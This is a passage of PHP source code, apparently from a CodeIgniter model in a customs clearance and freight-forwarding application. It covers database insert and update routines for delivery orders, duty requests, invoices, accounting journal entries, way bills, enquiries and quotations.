            $cc_do_collection_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_date']);
        } else {
            $postdata['cc_do_colection_received'] = 0;
            $cc_do_collection_date = '0000-00-00';
        }
        $tblValues = array(
            'cc_do_collection_id' =&gt; $masterid,
            'cc_do_collection_awb_mbl' =&gt; $postdata['cc_do_collection_awb_mbl'],
            'cc_do_collection_customer_id' =&gt; $postdata['cc_do_collection_customer_id'],
            'cc_do_collection_arrival_date' =&gt; $cc_do_collection_arrival_date,
            'cc_do_collection_eta' =&gt; $cc_do_collection_eta,
            'cc_do_collection_etd' =&gt; $cc_do_collection_etd,
            'cc_do_collection_gross_weight' =&gt; $postdata['cc_do_collection_gross_weight'],
            'cc_do_collection_net_weight' =&gt; $postdata['cc_do_collection_net_weight'],
            'cc_do_collection_no_pcs' =&gt; $postdata['cc_do_collection_no_pcs'],
            'cc_do_collection_requested_date' =&gt; $cc_do_collection_requested_date,
            'cc_do_colection_received' =&gt; $postdata['cc_do_colection_received'],
            'cc_do_collection_port_id' =&gt; $postdata['cc_do_collection_port_id'],
            'cc_do_collection_date' =&gt; $cc_do_collection_date,
            'cc_do_collection_remarks' =&gt; $postdata['cc_do_collection_remarks'],
        );

        $this-&gt;db-&gt;insert('cc_do_collection', $tblValues);

        if (isset($postdata['cc_do_colection_received'])) {
            $job = $this-&gt;mastermodel-&gt;get_data_srow('cc_job_register', $postdata['cc_do_collection_awb_mbl'], 'cc_job_register_awb_mbl');
            if (!empty($job)) {
                if ($job-&gt;cc_job_register_status == "DO not collected") {
                    $tblValues = array(
                        'cc_job_register_do_collection' =&gt; $cc_do_collection_date,
                        'cc_job_register_status' =&gt; 'Under Translation');
                    $this-&gt;db-&gt;where('cc_job_register_awb_mbl', $postdata['cc_do_collection_awb_mbl']);
                    $this-&gt;db-&gt;update('cc_job_register', $tblValues);
                }
            }
        }

        $data['resfunction'] = 'search_do_collection';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_duty_request_received($postdata) {

        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_duty_request_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_duty_request_date']);
        $cc_duty_received_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_duty_received_date']);
        $tblValues = array(
            'cc_duty_request_id' =&gt; $masterid,
            'cc_duty_request_job_id' =&gt; $postdata['cc_duty_request_job_id'],
            'cc_duty_request_date' =&gt; $cc_duty_request_date,
            'cc_duty_request_amount' =&gt; $postdata['cc_duty_request_amount'],
            'cc_duty_request_currency_id' =&gt; $postdata['cc_duty_request_currency_id'],
            'cc_duty_request_remarks' =&gt; $postdata['cc_duty_request_remarks'],
            'cc_duty_request_subject' =&gt; $postdata['cc_duty_request_subject'],
            'cc_duty_request_content' =&gt; $postdata['cc_duty_request_content'],
            'cc_duty_request_attn' =&gt; $postdata['cc_duty_request_attn'],
            'cc_duty_received_date' =&gt; $cc_duty_received_date
        );
        $this-&gt;db-&gt;insert('cc_duty_request', $tblValues);


//        $tblValues = array(
//            'pending_duty_amount' =&gt; 0,            
//        );
//        $this-&gt;db-&gt;where('cc_job_register_id', $postdata['cc_duty_request_job_id']);
//        $this-&gt;db-&gt;update('cc_job_register', $tblValues);


        $data['resfunction'] = 'search_duty_request';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_duty_request($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_duty_request_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_duty_request_date']);
        $tblValues = array(
            'cc_duty_request_id' =&gt; $masterid,
            'cc_duty_request_job_id' =&gt; $postdata['cc_duty_request_job_id'],
            'cc_duty_request_date' =&gt; $cc_duty_request_date,
            'cc_duty_request_amount' =&gt; $postdata['cc_duty_request_amount'],
            'cc_duty_request_currency_id' =&gt; $postdata['cc_duty_request_currency_id'],
            'cc_duty_request_remarks' =&gt; $postdata['cc_duty_request_remarks'],
            'cc_duty_request_subject' =&gt; $postdata['cc_duty_request_subject'],
            'cc_duty_request_content' =&gt; $postdata['cc_duty_request_content'],
            'cc_duty_request_attn' =&gt; $postdata['cc_duty_request_attn']
        );

        $this-&gt;db-&gt;insert('cc_duty_request', $tblValues);



        $data['resfunction'] = 'search_duty_request';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_customer_notification($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_customer_notification_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_customer_notification_date']);
        $tblValues = array(
            'cc_customer_notification_id' =&gt; $masterid,
            'cc_customer_notification_job_id' =&gt; $postdata['cc_customer_notification_job_id'],
            'cc_customer_notification_date' =&gt; $cc_customer_notification_date,
            'cc_customer_notification_subject' =&gt; $postdata['cc_customer_notification_subject'],
            'cc_customer_notification_remarks' =&gt; $postdata['cc_customer_notification_remarks'],
            'cc_customer_notification_content' =&gt; $postdata['cc_customer_notification_content'],
        );

        $this-&gt;db-&gt;insert('cc_customer_notification', $tblValues);
        $data['resfunction'] = 'search_customer_notification';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_cc_invoice($postdata) {

        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_invoice_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_invoice_date']);
        $bank = $postdata['bankacc_id'];
        $customer_id = $this-&gt;mastermodel-&gt;get_single_field_value('cc_job_register', 'cc_job_register_customer_id', 'cc_job_register_id', $postdata['cc_invoice_job_id']);


        $tblValues = array(
            'invoice_id' =&gt; $masterid,
            'invoice_no' =&gt; $postdata['cc_invoice_no'],
            'invoice_job_id' =&gt; $postdata['cc_invoice_job_id'],
            'invoice_customer_id' =&gt; $customer_id,
            'invoice_date' =&gt; $cc_invoice_date,
            'invoice_amount' =&gt; $postdata['cc_invoice_amount'],
            'invoice_status' =&gt; $postdata['cc_invoice_status'],
            'invoice_re' =&gt; $postdata['cc_invoice_re'],
            'invoice_remarks' =&gt; $postdata['cc_invoice_remarks'],
            'invoice_currency' =&gt; $postdata['cc_invoice_currency'],
            'invoice_enclosure' =&gt; $postdata['cc_invoice_enclosure'],
            'invoice_bank' =&gt; $bank,
            'invoice_prepared_by' =&gt; $postdata['cc_invoice_prepared_by'],
            'invoice_nb' =&gt; $postdata['cc_invoice_nb'],
            'invoice_type' =&gt; $postdata['invoice_type'],
            'customer_credit_period' =&gt; $postdata['customer_credit_period']
        );
        $this-&gt;db-&gt;insert('customer_invoice', $tblValues);
        $i = 1;
        $total_amount = 0;
        while (isset($postdata['cc_invoice_description' . $i])) {
            if ($postdata['cc_invoice_description' . $i] != "") {
                $tblValues = array('invoice_id' =&gt; $masterid,
                    'invoice_description_code' =&gt; $postdata['cc_invoice_description_code_id' . $i],
                    'invoice_description' =&gt; $postdata['cc_invoice_description' . $i],
                    'invoice_fr_currency_id' =&gt; 0,
                    'invoice_fr_rate' =&gt; 0,
                    'invoice_fr_amount' =&gt; $postdata['cc_invoice_fr_amount' . $i]
                );
                $this-&gt;db-&gt;insert('customer_invoice_description', $tblValues);
                $total_amount+=$postdata['cc_invoice_fr_amount' . $i];
            }
            $i++;
        }

        if (isset($postdata['total_job_expense'])) {
            $total_amount+=$postdata['total_job_expense'];
        }

        $tblValues = array('invoice_amount' =&gt; $total_amount);
        $this-&gt;db-&gt;where('invoice_id', $masterid);
        $this-&gt;db-&gt;update('customer_invoice', $tblValues);

        $data['resfunction'] = 'search_cc_invoice';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    /* debit note from custom clearance invoice */

    function cc_invoice_payment($postdata) {
        $data = array();
        $fisc_year_id = $this-&gt;accountingmodel-&gt;getfiscalyearid();
        $default_currency = $this-&gt;accountingmodel-&gt;getcurrency();
        $data['resfunction'] = 'search_cc_invoice';
        if ($fisc_year_id != 0 &amp;&amp; $default_currency != 0) {

            $this-&gt;db-&gt;trans_begin();
            $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
            $customer_acc = $postdata['customer_account'];
            $invoice_acc = $postdata['invoice_account'];
            $transaction_id = $postdata['transaction_id'];
            $payment_type = 0;
            $reference = $this-&gt;accountingmodel-&gt;get_transaction_code($transaction_id, $payment_type);
            $description = "Invoice No:" . $postdata['invoice_no'] . " &amp; Job Register Code : " . $postdata['job_code'] .
                    " Account Details : Customer Account  $customer_acc  &amp; CC sales account - $invoice_acc";
            $total_amount = $postdata['amount'];

            $tblValues = array(
                'journal_id' =&gt; $masterid,
                'journal_date' =&gt; $this-&gt;mastermodel-&gt;convertdateformat($postdata['journal_date']),
                'description' =&gt; $description,
                'reference' =&gt; $reference,
                'currency_id' =&gt; $default_currency,
                'payment_type_id' =&gt; 0,
                'transaction_id' =&gt; $transaction_id,
            );
            $this-&gt;db-&gt;insert('finance_journal_refs', $tblValues);

            $tblValues = array(
                'journal_id' =&gt; $masterid,
                'chart_account_code' =&gt; $customer_acc,
                'debit' =&gt; $total_amount,
                'credit' =&gt; 0,
                'description' =&gt; $description,
                'fiscal_year_id' =&gt; $fisc_year_id
            );
            $this-&gt;db-&gt;insert('finance_journal', $tblValues);

            /* credit */
            $tblValues = array(
                'journal_id' =&gt; $masterid,
                'chart_account_code' =&gt; $invoice_acc,
                'debit' =&gt; 0,
                'credit' =&gt; $total_amount,
                'description' =&gt; $description,
                'fiscal_year_id' =&gt; $fisc_year_id
            );
            $this-&gt;db-&gt;insert('finance_journal', $tblValues);

            $tblValues = array(
                'journal_id' =&gt; $masterid,
                'param_id' =&gt; $postdata['param_id'],
                'refs_type' =&gt; $postdata['refs_type'],
                'param_table' =&gt; $postdata['param_table']
            );
            $this-&gt;db-&gt;insert('finance_refs', $tblValues);

            $tblValues = array('journal_id' =&gt; $masterid, 'posted' =&gt; 1);
            $this-&gt;db-&gt;where('invoice_id', $postdata['invoice_id']);
            $this-&gt;db-&gt;update('customer_invoice', $tblValues);


            if ($this-&gt;db-&gt;trans_status() === FALSE) {
                $this-&gt;db-&gt;trans_rollback();
                $data['res'] = 0;
                $data['msg'] = 'Error On Adding Record';
                return $data;
            } else {
                $this-&gt;db-&gt;trans_commit();
                $data['res'] = 1;
                $data['msg'] = 'Record Added Successfully';
                return $data;
            }
        } else {
            $data['res'] = 0;
            if ($fisc_year_id == 0)
                $data['msg'] = 'Fiscal Year Not Set.';
            else if ($default_currency == 0)
                $data['msg'] = 'Default Currency Not Set.';
            else
                $data['msg'] = 'Fiscal Year and Default Currency Not Set.';
            return $data;
        }
    }

    function insert_cc_consolidated_invoice($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $limit = $postdata['limit'];
        $fl = 0;
        for ($i = 1; $i &lt;= $limit; $i++) {
            if (isset($postdata['cc_consolidated_check_' . $i])) {
                $fl = 1;
                break;
            }
        }
        if ($fl == 1) {
            $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
            $current_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['current_date']);
            $date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['date']);
            $tblValues = array(
                'consolidated_invoice_id' =&gt; $masterid,
                'consolidated_invoice_no' =&gt; $postdata['cc_consolidated_invoice_no'],
                'consolidated_invoice_date' =&gt; $current_date,
                'consolidated_invoice_upto' =&gt; $date,
                'consolidated_invoice_customer_id' =&gt; $postdata['customer_id'],
                'consolidated_invoice_attn' =&gt; $postdata['attn']
            );
            $this-&gt;db-&gt;insert('consolidated_invoice', $tblValues);
        }
        $data['resfunction'] = 'search_cc_consolidated_invoice';
        for ($i = 0; $i &lt;= $limit; $i++) {
            if (isset($postdata['cc_consolidated_check_' . $i])) {
                $tblValues = array('consolidated_invoice_id' =&gt; $masterid,
                    'invoice_id' =&gt; $postdata['cc_invoice_id_' . $i]
                );
                $this-&gt;db-&gt;insert('consolidated_invoice_details', $tblValues);
            }
        }
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_cc_way_bill($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();

        $contact_name = $postdata['cc_way_bill_contact_name'];
        if ($postdata['cc_way_bill_driver_name_id'] != "") {
            $driver = explode('-', $postdata['cc_way_bill_driver_name']);
            $driver_name = $driver[0];
        }
        else
            $driver_name = "";
        if ($postdata['cc_way_bill_driver_name_id'] != "") {
            $truck = explode('-', $postdata['cc_way_bill_truck_no']);
            $truck_name = $truck[0];
        } else {
            $truck_name = "";
        }
        $cc_way_bill_collected_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_collected_date']);
        $cc_way_bill_unloading_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_unloading_date']);
        $cc_way_bill_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_date']);
        $cc_way_bill_truck_arrived = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_truck_arrived']) . " " . $postdata['cc_way_bill_truck_arrived_hour'] . ":" . $postdata['cc_way_bill_truck_arrived_minute'] . ":00";
        $cc_way_bill_goods_discharged = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_goods_discharged']) . " " . $postdata['cc_way_bill_goods_discharged_hour'] . ":" . $postdata['cc_way_bill_goods_discharged_minute'] . ":00";
        $tblValues = array(
            'cc_way_bill_id' =&gt; $masterid,
            'cc_way_bill_job_id' =&gt; $postdata['cc_way_bill_job_id'],
            'cc_way_bill_collected_from' =&gt; $postdata['cc_way_bill_collected_from'],
            'cc_way_bill_collected_date' =&gt; $cc_way_bill_collected_date,
            'cc_way_bill_unloading_place' =&gt; $postdata['cc_way_bill_unloading_place'],
            'cc_way_bill_unloading_date' =&gt; $cc_way_bill_unloading_date,
            'cc_way_bill_contact_name' =&gt; $contact_name,
            'cc_way_bill_contact_no' =&gt; $postdata['cc_way_bill_contact_no'],
            'cc_way_bill_driver_name' =&gt; $driver_name,
            'cc_way_bill_truck_no' =&gt; $truck_name,
            'cc_way_bill_iso_code' =&gt; $postdata['cc_way_bill_iso_code'],
            'cc_way_bill_date' =&gt; $cc_way_bill_date,
            'cc_way_bill_receiving_person' =&gt; $postdata['cc_way_bill_receiving_person'],
            'cc_way_bill_truck_arrived' =&gt; $cc_way_bill_truck_arrived,
            'cc_way_bill_goods_discharged' =&gt; $cc_way_bill_goods_discharged
        );

        $this-&gt;db-&gt;insert('cc_way_bill', $tblValues);
        $data['resfunction'] = 'search_cc_way_bill';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    /* Add function ends here */


    /* Update function starts here */

    function update_cc_enquiry($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_enquiry_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_enquiry_date']);
        $cc_enquiry_shipment_other = "";
        $remind_close = 0;
        $remind_date = "";
        $cc_enquiry_reminder_remarks = "";

        if (isset($postdata['remind_date']))
            $remind_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['remind_date']);
        if (isset($postdata['cc_enquiry_status_remarks']))
            $cc_enquiry_reminder_remarks = $postdata['cc_enquiry_status_remarks'];

        if ($postdata['cc_enquiry_status'] != "Active") {
            $remind_close = 1;
            $remind_date = "";
            $cc_enquiry_reminder_remarks = "";
        }

        if ($postdata['cc_enquiry_shipment_mode'] == 'Sea')
            $equipment_type = $postdata['cc_enquiry_equipment_type_id'];
        else
            $equipment_type = 0;
        if ($postdata['cc_enquiry_shipper_id'] != '') {
            $cc_enquiry_shipper = explode('-', $postdata['cc_enquiry_shipper']);
            $postdata['cc_enquiry_shipper'] = $cc_enquiry_shipper[0];
        }


        if (isset($postdata['shipment_other']))
            $cc_enquiry_shipment_other = $postdata['shipment_other'];

        $tblValues = array(
            'cc_enquiry_customer_id' =&gt; $postdata['cc_enquiry_customer_id'],
            'cc_enquiry_date' =&gt; $cc_enquiry_date,
            'cc_enquiry_shipper_name' =&gt; $postdata['cc_enquiry_shipper'],
            'cc_enquiry_shipper_address' =&gt; $postdata['cc_enquiry_shipper_address'],
            'cc_enquiry_port_id' =&gt; $postdata['cc_enquiry_port_id'],
            'cc_enquiry_equipment_type_id' =&gt; $equipment_type,
            'cc_enquiry_carrier_id' =&gt; $postdata['cc_enquiry_carrier_id'],
            'cc_enquiry_shipment_mode' =&gt; $postdata['cc_enquiry_shipment_mode'],
            'cc_enquiry_shipment_other' =&gt; $cc_enquiry_shipment_other,
            'cc_enquiry_shipment_term_id' =&gt; $postdata['cc_enquiry_shipment_term_id'],
            'cc_enquiry_commodity' =&gt; $postdata['cc_enquiry_commodity'],
            'cc_enquiry_pcs' =&gt; $postdata['cc_enquiry_pcs'],
            'cc_enquiry_net_weight' =&gt; $postdata['cc_enquiry_net_weight'],
            'cc_enquiry_gross_weight' =&gt; $postdata['cc_enquiry_gross_weight'],
            'cc_enquiry_volume' =&gt; $postdata['cc_enquiry_volume'],
            'cc_enquiry_port_id' =&gt; $postdata['cc_enquiry_port_id'],
            'cc_enquiry_commercial_value' =&gt; $postdata['cc_enquiry_commercial_value'],
            'cc_enquiry_requester_name' =&gt; $postdata['cc_enquiry_requester_name'],
            'cc_enquiry_requester_mail' =&gt; $postdata['cc_enquiry_requester_mail'],
            'cc_enquiry_requester_contact_no' =&gt; $postdata['cc_enquiry_requester_contact_no'],
            'remind_date' =&gt; $remind_date,
            'remind_close' =&gt; $remind_close,
            'cc_enquiry_reminder_remarks' =&gt; $cc_enquiry_reminder_remarks,
            'cc_enquiry_status' =&gt; $postdata['cc_enquiry_status'],
            'cc_enquiry_status_remarks' =&gt; $postdata['cc_enquiry_status_remarks'],
            'cc_enquiry_mail_request' =&gt; $postdata['cc_enquiry_mail_request'],
            'cc_enquiry_mail_subject' =&gt; $postdata['cc_enquiry_mail_subject']
        );
        $this-&gt;db-&gt;where('cc_enquiry_id', $postdata['cc_enquiry_id']);
        $this-&gt;db-&gt;update('cc_enquiry', $tblValues);

        $data['resfunction'] = 'search_cc_enquiry';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_quotation($postdata) {

        $data = array();
        $this-&gt;db-&gt;trans_begin();

        $remind_close = 0;
        $remind_date = "";
        $cc_quotation_reminder_remarks = "";
        if (isset($postdata['remind_date']))
            $remind_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['remind_date']);
        if (isset($postdata['cc_quotation_status_remarks']))
            $cc_quotation_reminder_remarks = $postdata['cc_quotation_status_remarks'];

        if ($postdata['cc_quotation_status'] != "Active") {
            $remind_close = 1;
            $remind_date = "";
            $cc_quotation_reminder_remarks = "";
        }
        $cc_quotation_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_quotation_date']);
        $requested_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_quotation_requested_date']);

        if ($postdata['cc_quotation_shipment_mode'] == 'Sea')
            $equipment_type = $postdata['cc_quotation_equipment_type_id'];
        else
            $equipment_type = 0;
        if ($postdata['cc_quotation_shipper_id'] != '') {
            $cc_quotation_shipper = explode('-', $postdata['cc_quotation_shipper']);
            $postdata['cc_quotation_shipper'] = $cc_quotation_shipper[0];
        }
        if ($postdata['cc_quotation_requester_name_id'] != '') {
            $cc_enquiry_shipper = explode('-', $postdata['cc_quotation_requester_name']);
            $postdata['cc_quotation_requester_name'] = $cc_enquiry_shipper[0];
        }
        if (isset($postdata['general_quotation']))
            $general_quotation = 1;
        else
            $general_quotation = 0;
        $tblValues = array(
            'cc_quotation_shipper_name' =&gt; $postdata['cc_quotation_shipper'],
            'cc_quotation_shipper_address' =&gt; $postdata['cc_quotation_shipper_address'],
            'cc_quotation_shipment_mode' =&gt; $postdata['cc_quotation_shipment_mode'],
            'cc_quotation_shipment_term_id' =&gt; $postdata['cc_quotation_shipment_term_id'],
            'cc_quotation_commodity' =&gt; $postdata['cc_quotation_commodity'],
            'cc_quotation_equipment_type_id' =&gt; $equipment_type,
            'cc_quotation_gross_weight' =&gt; $postdata['cc_quotation_gross_weight'],
            'cc_quotation_net_weight' =&gt; $postdata['cc_quotation_net_weight'],
            'cc_quotation_volume' =&gt; $postdata['cc_quotation_volume'],
            'cc_quotation_no_pcs' =&gt; $postdata['cc_quotation_no_pcs'],
            'cc_quotation_port_id' =&gt; $postdata['cc_quotation_port_id'],
            'cc_quotation_date' =&gt; $cc_quotation_date,
            'cc_quotation_currency_id' =&gt; $postdata['cc_quotation_currency_id'],
            'cc_quotation_remarks' =&gt; $postdata['cc_quotation_remarks'],
            'cc_quotation_subject' =&gt; $postdata['cc_quotation_subject'],
            'cc_quotation_terms_conditions' =&gt; $postdata['cc_quotation_terms_conditions'],
            'cc_quotation_requester_name' =&gt; $postdata['cc_quotation_requester_name'],
            'cc_quotation_requester_mail' =&gt; $postdata['cc_quotation_requester_mail'],
            'cc_quotation_general' =&gt; $general_quotation,
            'cc_quotation_requested_date' =&gt; $requested_date,
            'cc_quotation_department' =&gt; $postdata['cc_quotation_department'],
            'cc_quotation_title' =&gt; $postdata['cc_quotation_title'],
            'cc_quotation_type_of_cost' =&gt; $postdata['cc_quotation_type_of_cost'],
            'cc_quotation_contact_tel_no' =&gt; $postdata['cc_quotation_contact_tel_no'],
            'cc_quotation_contact_mob_no' =&gt; $postdata['cc_quotation_contact_mob_no'],
            'cc_quotation_contact_fax' =&gt; $postdata['cc_quotation_contact_fax'],
            'remind_date' =&gt; $remind_date,
            'remind_close' =&gt; $remind_close,
            'cc_quotation_reminder_remarks' =&gt; $cc_quotation_reminder_remarks,
            'cc_quotation_status' =&gt; $postdata['cc_quotation_status'],
            'cc_quotation_iso_code' =&gt; $postdata['cc_quotation_iso_code'],
            'cc_quotation_status_remarks' =&gt; $postdata['cc_quotation_status_remarks']
        );

        $this-&gt;db-&gt;where('cc_quotation_id', $postdata['cc_quotation_id']);
        $this-&gt;db-&gt;update('cc_quotation', $tblValues);

        $this-&gt;db-&gt;where('cc_quotation_id', $postdata['cc_quotation_id']);
        $this-&gt;db-&gt;delete('cc_quotation_details');
        if ($general_quotation == 0) {
            $i = 1;
            while (isset($postdata['cc_quotation_description' . $i])) {
                if ($postdata['cc_quotation_description' . $i] != "") {
                    $tblValues = array(
                        'cc_quotation_id' =&gt; $postdata['cc_quotation_id'],
                        'cc_quotation_description' =&gt; $postdata['cc_quotation_description' . $i],
                        'cc_quotation_amount' =&gt; $postdata['cc_quotation_amount' . $i],
                        'cc_quotation_qty' =&gt; $postdata['cc_quotation_qty' . $i],
                        'cc_quotation_currency_id' =&gt; 0,
                        'cc_quotation_slno' =&gt; 0
                    );
                    $this-&gt;db-&gt;insert('cc_quotation_details', $tblValues);
                }
                $i++;
            }
        } else {
            $i = 1;
            while (isset($postdata['cc_general_qt_slno' . $i])) {
                if ($postdata['cc_general_qt_slno' . $i] != "") {


                    $tblValues = array(
                        'cc_quotation_id' =&gt; $postdata['cc_quotation_id'],
                        'cc_quotation_description' =&gt; $postdata['cc_general_qt_description' . $i],
                        'cc_quotation_amount' =&gt; $postdata['cc_general_qt_amount' . $i],
                        'cc_quotation_qty' =&gt; 1,
                        'cc_quotation_currency_id' =&gt; $postdata['cc_general_qt_currency_id' . $i],
                        'cc_quotation_slno' =&gt; $postdata['cc_general_qt_slno' . $i]
                    );
                    $this-&gt;db-&gt;insert('cc_quotation_details', $tblValues);
                }
                $i++;
            }
        }

        $data['resfunction'] = 'search_cc_quotation';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_general_quotation_details($postdata) {

        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $this-&gt;db-&gt;truncate('cc_general_quotation_format');

        $i = 1;
        while (isset($postdata['cc_general_qt_slno' . $i])) {
            if ($postdata['cc_general_qt_slno' . $i] != "") {
                $tblValues = array(
                    'cc_general_qt_slno' =&gt; $postdata['cc_general_qt_slno' . $i],
                    'cc_general_qt_description' =&gt; $postdata['cc_general_qt_description' . $i],
                    'cc_general_qt_currency_id' =&gt; $postdata['cc_general_qt_currency_id' . $i],
                    'cc_general_qt_amount' =&gt; $postdata['cc_general_qt_amount' . $i]);
                $this-&gt;db-&gt;insert('cc_general_quotation_format', $tblValues);
            }
            $i++;
        }
        $data['resfunction'] = 'search_cc_quotation';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_purchase_order($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_po_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_po_date']);
        if ($postdata['cc_po_shipper_id'] != '') {
            $cc_po_shipper = explode('-', $postdata['cc_po_shipper']);
            $postdata['cc_po_shipper'] = $cc_po_shipper[0];
        }
        $tblValues = array(
            'cc_po_shipper_name' =&gt; $postdata['cc_po_shipper'],
            'cc_po_shipper_address' =&gt; $postdata['cc_po_shipper_address'],
            'cc_po_shipment_mode' =&gt; $postdata['cc_po_shipment_mode'],
            'cc_po_shipment_term_id' =&gt; $postdata['cc_po_shipment_term_id'],
            'cc_po_commodity' =&gt; $postdata['cc_po_commodity'],
            'cc_po_equipment_type_id' =&gt; $postdata['cc_po_equipment_type_id'],
            'cc_po_gross_weight' =&gt; $postdata['cc_po_gross_weight'],
            'cc_po_net_weight' =&gt; $postdata['cc_po_net_weight'],
            'cc_po_volume' =&gt; $postdata['cc_po_volume'],
            'cc_po_no_pcs' =&gt; $postdata['cc_po_no_pcs'],
            'cc_po_port_id' =&gt; $postdata['cc_po_port_id'],
            'cc_po_date' =&gt; $cc_po_date,
            'cc_po_no' =&gt; $postdata['cc_po_no'],
            'cc_po_remarks' =&gt; $postdata['cc_po_remarks'],
        );



        $this-&gt;db-&gt;where('cc_po_id', $postdata['cc_po_id']);
        $this-&gt;db-&gt;update('cc_purchase_order', $tblValues);

        $data['resfunction'] = 'search_cc_purchase_order';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_authorization_letter($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_authorization_letter_received_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_received_date']);
        $cc_authorization_letter_send_to_port_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_send_to_port_date']);
        $cc_authorization_letter_expiry_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_expiry_date']);
        $cc_authorization_letter_alert_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_alert_date']);

        $tblValues = array(
            'cc_authorization_letter_customer_id' =&gt; $postdata['cc_authorization_letter_customer_id'],
